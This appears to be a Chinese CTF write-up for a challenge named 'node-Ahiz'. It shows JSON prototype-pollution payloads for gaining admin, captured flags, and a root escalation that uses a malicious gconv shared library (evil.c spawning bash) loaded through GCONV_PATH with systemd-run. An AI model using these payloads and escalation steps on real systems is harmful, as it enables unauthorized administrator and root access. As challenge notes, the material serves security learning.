node-Ahiz

通过修改对象原型或函数验证来提升权限。使用JSON输入进行攻击。

尝试使用 '__proto__' 属性直接污染 Object.prototype

```
{
  "__proto__": {
    "isAdmin": true
  }
}
```

通过修改对象原型或函数验证来提升权限。使用JSON输入进行攻击。

这一关过滤了 '__proto__', 尝试使用 'constructor.prototype' 污染 Array.prototype

```
{
  "constructor": {
    "prototype": {
      "isAdmin": true
    }
  }
}
```

通过修改对象原型或函数验证来提升权限。使用JSON输入进行攻击。

使用嵌套对象中的 '__proto__' 污染 Object.prototype, 使所有对象（包括函数实例）继承 isAdmin 属性

```
{
  "someKey": {
    "__proto__": {
      "isAdmin": true
    }
  }
}
```

通过修改对象原型或函数验证来提升权限。使用JSON输入进行攻击。

尝试直接覆盖 validateAccess 属性为一个始终返回 true 的函数字符串

```
{
  "validateAccess": "function() { return true; }"
}
```


```
你的Flag是: {hungry:imveryhungry}
```

得到用户密码后ssh连接获取flag

```
flag{user-8c4b1157cb6f8884aa183ac0f1447e6c}
```

提权

```
sudo   sudo -i
suid   find / -user root -perm -4000 -print 2>/dev/null
定时任务
都看了一遍没发现东西
想到了 pkexec
```

```
mkdir -p /tmp/exploitdir
cd /tmp/exploitdir
```

```
vi e vil.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void gconv() {}
void gconv_init() {
    setuid(0); setgid(0);
    system("/bin/bash");
}
```

```
gcc evil.c -o evil.so -shared -fPIC
echo 'module UTF-8// INTERNAL// evil 2' > gconv-modules
```

不知道为啥经过pkexec 会报错 直接跳过pkexec

```
直接 root bash，evil.so 在 glibc 初始化时被加载，自动提权。
```

```
systemd-run -t -p "Environment=GCONV_PATH=/tmp/exploitdir" /bin/bash
```